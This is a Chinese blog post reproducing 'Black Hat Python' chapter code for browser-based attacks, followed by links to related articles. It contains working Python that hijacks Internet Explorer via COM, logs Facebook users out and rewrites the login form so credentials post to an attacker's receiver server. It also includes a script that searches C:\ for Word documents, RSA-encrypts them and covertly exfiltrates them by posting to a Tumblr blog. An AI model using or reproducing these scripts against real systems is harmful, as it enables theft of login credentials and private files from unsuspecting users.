基于浏览器的中间人攻击

#coding=utf-8
import win32com.client
import time
import urlparse
import urllib data_receiver = "http://localhost:8080/" target_sites = {}
target_sites["www.facebook.com"] = {
"logout_url" : None,
"logout_form" : "logout_form",
"login_form_index" : 0,
"owned" : False
} #IE浏览器类的ID号
clsid = '{9BA05972-F6A8-11CF-A442-00A0C90A8F39}' windows = win32com.client.Dispatch(clsid) while True:
for browser in windows:
url = urlparse.urlparse(browser.LocationUrl)
if url.hostname in target_sites:
if target_sites[url.hostname]["owned"]:
continue
#如果有一个URL,我们可以重定向
if target_sites[url.hostname]["logout_url"]:
browser.Navigate(target_sites[url.hostname]["logout_url"])
wait_for_browser(browser)
else:
#检索文件中的所有元素
full_doc = browser.Document.all
#
for i in full_doc:
try:
#找到退出登录的表单并提交
if i.id == target_sites[url.hostname]["logout_url"]:
i.submit()
wait_for_browser(browser)
except:
pass #现在来修改登录表单
try:
login_index = target_sites[url.hostname]["login_form_index"]
login_page = urllib.quote(browser.LocationUrl)
browser.Document.forms[login_index].action = "%s%s"%(data_receiver,login_page)
target_sites[url.hostname]["owned"] = True
except:
pass
time.sleep(5) def wait_for_browser(browser):
#等待浏览器加载完一个页面
while browser.ReadyState != 4 and browser.ReadyState != "complete":
time.sleep(0.1) return

创建接收服务器

import SimpleHTTPServer
import SocketServer
import urllib class CredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
"""docstring for CredRequestHandler"""
def do_POST(self):
content_length = int(self.headers['Content-Length'])
creds = self.rfile.read(content_length).decode('utf-8')
print creds
site = self.path[1:]
self.send_response(301)
self.send_headers('Location',urllib.unquote(site))
self.end_headers() server = SocketServer.TCPServer(('0.0.0.0',8080),CredRequestHandler)
server.serve_forever()

利用IE的COM组件自动化技术窃取数据

keygen.py:

#!/usr/bin/python
from Crypto.PublicKey import RSA new_key = RSA.generate(2048,e=65537)
public_key = new_key.publickey().exportKey("PEM")
private_key = new_key.exportKey("PEM") print public_key
print private_key

decrypto.py:

#coding=utf-8
import zlib
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP private_key = "输入产生的公钥" rsakey = RSA.importKey(private_key)
rsakey = PKCS1_OAEP.new(rsakey) chunk_size = 256
offset = 0
decrypted = ""
encrypted = base64.b64decode(encrypted) while offset < len(encrypted):
decrypted += rsakey.decrypted(encrypted[offset:offset+chunk_size])
offset += chunk_size #解压负载
plaintext = zlib.decompress(decrypted) print plaintext

这段代码用于将赖在tumblr的编码文件进行base64解码,从而形成原始的明文字符串,最后进行负载解压。

ie_exfil.py:

#coding=utf-8
import win32com.client
import os
import fnmatch
import time
import random
import zlib
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP doc_type = ".doc"
username = "lyshark"
password = "" public_key = "公钥" def wait_for_browser(browser):
#等待浏览器加载完一个页面
while browser.ReadyState != 4 and browser.ReadyState != "complete":
time.sleep(0.1) return def encrypt_string(plaintext):
chunk_size = 256
print "Compressing: %d bytes"%len(plaintext)
plaintext = zlib.compress(plaintext) print "Encrypting %d bytes"%len(plaintext) rsakey = RSA.importKey(public_key)
rsakey = PKCS1_OAEP.new(rsakey) encrypted = ""
offset = 0 while offset < len(plaintext):
chunk = plaintext[offset:offset+chunk_size] if len(chunk) % chunk_size != 0:
chunk += " " * (chunk_size - len(chunk)) encrypted += rsakey.encrypt(chunk)
offset += chunk_size encrypted = encrypted.encode("base64") print "Base64 encoded crypto: %d"%len(encrypted) return encrypted def encrypt_post(filename):
#打开并读取文件
fd = open(filename,"rb")
contents = fd.read()
fd.close() encrypted_title = encrypt_string(filename)
encrypted_body = encrypt_string(contents) return encrypted_title,encrypted_body def random_sleep():
time.sleep(random.randint(5,10))
return def login_to_tumblr(ie):
#解析文档中的所有元素
full_doc = ie.Document.all #迭代每个元素来查找登录表单
for i in full_doc:
if i.id == "signup_email":
i.setAttribute("value",username)
elif i.id == "signup_password":
i.setAttribute("value",password) random_sleep() try:
#你会遇到不同的登陆主页
if ie.Document.forms[0].id == "signup_form":
ie.Document.forms[0].submit()
else:
ie.Document.forms[1].submit()
except IndexError, e:
pass random_sleep() #登陆表单是登录页面中的第二个表单
wait_for_browser(ie) return def post_to_tumblr(ie,title,post):
full_doc = ie.Document.all for i in full_doc:
if i.id == "post_one":
i.setAttribute("value",title)
title_box = i
i.focus()
elif i.id == "post_two":
i.setAttribute("innerHTML",post)
print "Set text area"
i.focus()
elif i.id == "create_post":
print "Found post button"
post_form = i
i.focus() #将浏览器的焦点从输入主体内容的窗口上移开
random_sleep()
title_box.focus()
random_sleep() #提交表单
post_form.children[0].click()
wait_for_browser(ie) random_sleep() return def exfiltrate(document_path):
ie = win32com.client.Dispatch("InternetExplorer.Application")
ie.Visible = 1 #访问tumblr站点并登录
ie.Navigate("https://www.tumblr.com/login")
wait_for_browser(ie) print "Logging in..."
login_to_tumblr(ie)
print "Logged in...navigating" ie.Navigate("https://www.tumblr.com/new/text")
wait_for_browser(ie) #加密文件
title,body = encrypt_post(document_path) print "Creating new post..."
post_to_tumblr(ie,title,body)
print "Posted!" #销毁IE实例
ie.Quit()
ie = None return #用户文档检索的循环
#注意:以下这段代码的第一行没有“tab”缩进
for parent,directories,filenames in os.walk("C:\\"):
for filename in fnmatch.filter(filenames,"*%s"%doc_type):
document_path = os.path.join(parent,filename)
print "Found: %s"%document_path
exfiltrate(document_path)
raw_input("Continue?")

代码用于捕获本地文件系统中的Word文档,并利用公钥对其进行加密,然后自动启动进程将加密的文档提交到一个位于tumblr.com站点的博客上

《Python黑帽子:黑客与渗透测试编程之道》 玩转浏览器的更多相关文章

  1. python黑帽子-黑客与渗透测试编程之道(源代码)

    链接: https://pan.baidu.com/s/1i5BnB5V   密码: ak9t

  2. 读书笔记 ~ Python黑帽子 黑客与渗透测试编程之道

    Python黑帽子  黑客与渗透测试编程之道   <<< 持续更新中>>> 第一章: 设置python 环境 1.python软件包管理工具安装 root@star ...

  3. 2017-2018-2 20179204 PYTHON黑帽子 黑客与渗透测试编程之道

    python代码见码云:20179204_gege 参考博客Python黑帽子--黑客与渗透测试编程之道.关于<Python黑帽子:黑客与渗透测试编程之道>的学习笔记 第2章 网络基础 t ...

  4. 《Python黑帽子:黑客与渗透测试编程之道》 扩展Burp代理

    下载jython,在Burpsuite的扩展中配置jython路径: Burp模糊测试: #!/usr/bin/python #coding=utf-8 # 导入三个类,其中IBurpExtender ...

  5. 《Python黑帽子:黑客与渗透测试编程之道》 Web攻击

    Web的套接字函数库:urllib2 一开始以urllib2.py命名脚本,在Sublime Text中运行会出错,纠错后发现是重名了,改过来就好: #!/usr/bin/python #coding ...

  6. 《Python黑帽子:黑客与渗透测试编程之道》 Scapy:网络的掌控者

    窃取email认证: 测试代码: #!/usr/bin/python #coding=utf-8 from scapy.all import * #数据包回调函数 def packet_callbac ...

  7. 《Python黑帽子:黑客与渗透测试编程之道》 网络基础

    TCP客户端: 示例中socket对象有两个参数,AF_INET参数表明使用IPv4地址或主机名 SOCK_STREAM参数表示是一个TCP客户端.访问的URL是百度. #coding=utf-8 i ...

  8. 《Python黑帽子:黑客与渗透测试编程之道》 Windows下木马的常用功能

    有趣的键盘记录: 安装pyHook: http://nchc.dl.sourceforge.net/project/pyhook/pyhook/1.5.1/pyHook-1.5.1.win32-py2 ...

  9. 《Python黑帽子:黑客与渗透测试编程之道》 基于GitHub的命令和控制

    GitHub账号设置: 这部分按书上来敲命令即可,当然首先要注册一个GitHub账号还有之前安装的GitHub API库(pip install github3.py),这里就只列一下命令吧: mkd ...

随机推荐

  1. idea配置springBoot项目热加载

    1.在application.properties中禁用模板引擎缓存 比如freemarker:spring.freemarker.cache=false 2.在pom.xml中添加依赖 <de ...

  2. 【Linux】OpenSSL 安装

    OpenSSL 简介 OpenSSL 是一个安全套接字层密码库,囊括主要的密码算法.常用的密钥和证书封装管理功能及SSL协议,并提供丰富的应用程序供测试或其它目的使用. OpenSSL 安装 环境:L ...

  3. RNN模型(递归神经网络)简介

    有些任务可以通过MLP多层感知器的神经网络,CNN卷积神经网络解决,因为那些任务内部的每一个前后无关联,无顺序,如MNIST手写数字子集,CIFAR子集等. 但是在自然语言处理中,每个字的前后有语义联 ...

  4. transform.forward和vector3.forward

    Vector3.forward的值永远是(0,0,1)(这里的(0,0,1)是世界坐标的(0,0,1)),而transform.forward我们可以理解为其对应物体的z轴方向,是一个向量,而不是一个 ...

  5. kbmmw 5.06.00 beta 发布

    原生.高效.可扩展.跨平台通信库来了. we are happy to announce v5.06.00 BETA of our popular middleware for Delphi and  ...

  6. python中的函数嵌套

    一.函数嵌套 1.只要遇到了()就是函数的调用.如果没有就不是函数的调用 2.函数的执行顺序 遵循空间作用域,遇到调用才执行 def outer(): def inner(): print(" ...

  7. swift -inout关键字

    一般参数仅仅是在函数内可以改变的,当这个函数执行完后变量就会被销毁,不会有机会改变函数以外的变量,那么我们就会产生一个疑问,我们可不可以通过一个函数改变函数外面变量的值呢?答案是肯定的,这时我们就需要 ...

  8. 2018.11.02 NOIP训练 停车场(线段树)

    传送门 这是一道困饶了我一年的题. 其实就是去年去NOIP提高组试水的时候考的模拟题 但当时我水平不够,跟ykykyk一起杠了一个下午都没调出来. 今天终于AAA了. 其实就是一个维护最长连续0101 ...

  9. std::set 中内部元素有序条件删除的理解

    std::set 中内部元素有序条件删除的理解 1. std::set中的元素是有序排列的 注意:Set集合中的元素通过iterator的引用,但是不能修改. 元素排序: (1)元素中实现比较oper ...

  10. Scala_特质

    特质 特质概述 Java中提供了接口,允许一个类实现任意数量的接口 在Scala中没有接口的概念,而是提供了“特质(trait) ”,它不仅实 现了接口的功能,还具备了很多其他的特性 Scala的特质 ...